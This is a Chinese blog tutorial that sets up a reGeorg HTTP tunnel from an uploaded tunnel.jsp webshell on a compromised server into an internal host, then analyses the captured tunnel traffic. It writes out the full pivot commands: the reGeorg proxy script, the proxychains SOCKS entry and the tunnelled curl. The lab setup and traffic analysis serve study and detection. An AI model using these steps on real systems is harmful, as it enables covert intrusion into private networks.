百度360必应搜狗淘宝本站头条
HTML5 标签标签HTML5 标签 (已废弃)HTML 简介键盘快捷键
当前位置：网站首页 > 技术文章 > 正文

reGeorg搭建HTTP隧道和流量分析

zhezhongyun 2025-01-02 20:30 62 浏览

reGeorg介绍

reGeorg 的前身是2008年 SensePost 在 BlackHat USA 2008 的 reDuh 延伸与扩展。

reGeorg是reDuh的继承者，利用了会话层的socks5协议，相比较于reDuh效率更高一些。

关于通过reGeorg建立HTTP隧道的作用体现在，当我们能通过外网访问服务器A，但是我们并不能与位于内网的主机交互，这时reGeorg就派上了用场，假设此时我们拿到了服务器A的webshell，但是该内网主机的icmp、dns、tcp和udp协议等都不能出网，唯一的数据通道是webshell搭建正向代理。

所以在公网能访问的服务器A上安装reGeorg，它就在攻击者与内网主机之间充当一个转发的角色，从而达到攻击者与内网的信息交互。

reGorg下载地址

git clone https://github.com/sensepost/reGeorg.git

拓扑

环境

一台vps做受害服务端A IP：182.x.x.x一台docker 部署在受害者机上，里面搭建了一个tomcat，开放了8080端口另外一台vps ip 81.x.x.x 做攻击者，建立http隧道reGeorg 建立http隧道的工具

搭建过程

1、在已经getshell的受害者服务器上的http服务器的web根目录上传一个tunnel.jsp传完后，

测试是否可以访问到

curl http://182.x.x.x:8080/tunnel.jsp

服务器返回Georg says, 'All seems fine'

服务器端配置完成

2、在攻击者机子上，下载reGeorg运行脚本，设置一个端口3333作为http隧道的端口

python reGeorgSocksProxy.py -l 0.0.0.0 -p 3333 -u http://x.x.x.x:8080/tunnel.jsp

3、打开kali攻击机的proxychain设置，设置一下代理。将代理设置为vps的ip的3333端口

vim/etc/proxychains.conf
在最后添加一条
socks5 81.x.x.x 3333

在kali上通过代理访问内网的服务器

proxychains curlhttp://172.17.0.2/login.php

成功访问到内网搭建完成

流量分析

kali

在kali上抓包，然后访问内网，tcpdump抓包，分析流量

tcpdump -ieth0 -wkali.pcap

然后打开wireshark追踪tcp流，看流量

...............P.........PGET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 17 Dec 2020 16:39:09 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.25
Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=7mhcg05sbeerpgjvthqad6r7t6; path=/; httponly
Set-Cookie: security=impossible; httponly
Vary: Accept-Encoding
Content-Length: 1567
Content-Type: text/html;charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

serverA

在serverA上抓包第一个流可以看到服务器A作为跳板，表明服务器与哪台内网主机的哪个端口连接cmd=connecttarget=172.17.0.2 目标内网ipport=80 端口为80

POST http://182.x.x.x:8080/tunnel.jsp?
cmd=connect&target=172.17.0.2&port=80 HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
Content-Length: 0
X-CMD: CONNECT
X-PORT: 80
X-TARGET: 172.17.0.2
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT

下一条流cmd=read,代表是去访问内网的内容

Accept-Encoding: identity请求的HTTP头通告其内容编码，只要没有被明确禁止

服务器就不能发回406 Not Acceptable错误

响应包头：Transfer-Encoding: chunked代表是分块传输

POST /tunnel.jsp?cmd=read HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
Content-Length: 0
X-CMD: READ
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
Connection: Keep-Alive
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Transfer-Encoding: chunked
Date: Thu, 17 Dec 2020 16:44:45 GMT

接下来这条流就是cmd=forward，转发到内网

POST /tunnel.jsp?cmd=forward HTTP/1.1
Host: 182.92.73.106:8080
Accept-Encoding: identity
Content-Length: 83
Content-Type: application/octet-stream
X-CMD: FORWARD
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
Connection: Keep-Alive
User-Agent: python-urllib3/1.26.2
GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT

最后就是cmd=disconnect关闭连接

POST /tunnel.jsp?cmd=disconnect HTTP/1.1
Host: 182.x.x.x:8080
Accept-Encoding: identity
X-CMD: DISCONNECT
Cookie: JSESSIONID=C71AAD9AFD48C0E4796514EF6835F2B4; Path=/; HttpOnly
User-Agent: python-urllib3/1.26.2
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-STATUS: OK
Content-Type: text/html
Content-Length: 0
Date: Thu, 17 Dec 2020 16:44:45 GMT

内网服务器

在内网服务器上抓包,看到服务器A向内网请求了login.php

GET /login.php HTTP/1.1
Host: 172.17.0.2
User-Agent: curl/7.68.0
Accept: */*
HTTP/1.1 200 OK
Date: Thu, 17 Dec 2020 16:53:17 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.25
Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Set-Cookie: PHPSESSID=65ehap87lgj2sk84poopt0aep3; path=/; httponly
Set-Cookie: security=impossible; httponly
Vary: Accept-Encoding
Content-Length: 1567
Content-Type: text/html;charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

总结

通过整个http隧道的建立过程的流量分析，可以看到起初是通过tunnel.jsp，connect内网指定ip的指定端口，然后read读取，通告其内容编码为identity，采用分块传输，最后disconnect关闭连接

相关推荐

Excel高效技巧:批量合并重复数据的实用指南

在日常数据处理中，我们常会遇到需要合并相邻重复单元格的场景。无论是整理分类标签、统计重复项还是优化报表格式，手动逐个合并不仅耗时且容易出错。本文将详细介绍三种专业高效的批量合并方法，助您轻松应对各种复...

自主研发高速动车组列车又添新成员(新时代画卷)

数据来源：国铁集团">数据来源：国铁集团CR400AF—S型列车驶过重庆。龙帆摄（人民视觉）">CR400AF—S型列车驶过重庆。龙帆摄（人民视觉）CR400BF—GZ型列车行驶在京...

福彩双色球幻圆图的VBA程序(第一部分)

很多朋友喜欢玩福彩双色球彩票，都知道下面的这张图——福彩双色球红球幻圆图和篮球幻方图。图2是福彩双色球2024104期（红色）和2024105期（黄色）的幻圆图。图3是福彩双色球2024105期（红色...

技巧 | 往MCP服务器添加提示词模板

在我的上一篇文章[1]中，我已经构建了一个本地MCP服务器并向其添加了一些工具。在本文中，我们将向该MCP服务器添加提示词。这是如同上一篇博客的文件结构。但在这里，我为此创建了两个新文件。.├──...

Avalonia日志组件实现与优化指南

背景Avalonia目前没有富文本框可实现日志输出显示，但提供了SelectableTextBlock控件可以替换，这是站长实现的一个日志组件效果：可展示日志时间、日志级别、日志详细内容等，后台除输...

vim编辑器最后几行@代表什么意思

使用vim编辑文本时，屏幕下方会出现一些@符号，这些符号代表什么意思？当vim设置了wrap属性时，若一行太长则就会发生折行现象，此时一个逻辑行就会显示多个屏幕行，如下图由于文件的第2行太长，一个真实...

浅色AI云食堂APP完整代码(二)

以下是整合后的浅色AI云食堂APP完整代码，包含后端核心功能、前端界面以及优化增强功能。项目采用Django框架开发，支持库存管理、订单处理、财务管理等核心功能，并包含库存预警、数据导出、权限管理等增...

QML控件:TextInput, TextField, TextEdit, TextArea用法及自定义

本文主要介绍基本元素TextInput,TextField,TextEdit,TextArea等的基本属性。Textlnput与TextField为行编辑控件，TextEdit与T...

WPF - 10.特殊容器控件

摘要这里我们要介绍的特殊容器空间是ScrollViewer，该控件与其他控件不同的是，可以支持滚动显示容器内的元素。下面我们举例说明如何在WPF中使用ScrollViewer控件。新建一个WPF程...

rhino6.0 python中ETO的组件案例

1.按钮组件按钮几乎放置在每个对话框上。创建一个新的按钮很简单。使用forms.Button并指定Text显示在按钮面上。除了创建新按钮外，通常还通过.Click事件附加一个操作。使用+=语法，如下...

Rhino6.0 窗口开发使用角本说明

第1个：生成窗口代码第2点：Eto界面主要由Dialog（主程序界面）、Layout（界面布局）和Controls（控件）三个部分构成，逻辑简单且清晰。这个脚本被分为三个主要部分。该import...

手把手教你搭建属于自己的服务器!

最近总是想搭建自己的网站，奈何皮夹里空空如也，服务器也租不起，更别说域名了。于是我就寻思能否自己搭建个服务器，还不要钱呢？还真行！！！经过几天的冲浪，我发现有两个免费的建站工具：Apache和Ng...

HEAT杂志《欧美猛男》排行!“雷神”居然没进前三!

提到猛男的必备条件，应该就是要有着让人看了会流口水的大块肌肉，而一说到猛男，小编第一个想到的就是spanstyle="text-transform:none;background-color:...

Power Query 表格列历遍函数Table.TransformColumns函数

PowerQuery提取数字应该是非常方便的，EH有这样一道题：一看到这题首先想的是PowerQuery，可能中毒有点深，思路挺简单的，PowerQuery有一个从数字到非数字的分列分列后再提取...

自学前端踩了30个坑，终于整理出这份新手避坑指南

这是我在自学前端的第37天，对着一个简单的HTML页面卡了整整一下午。不是逻辑错误，不是语法问题，只是我不知道为什么，一个div死活居中不了。那时候的我，以为前端就是写写页面、调调样式，直到后来才...

一周热门
最近发表
标签列表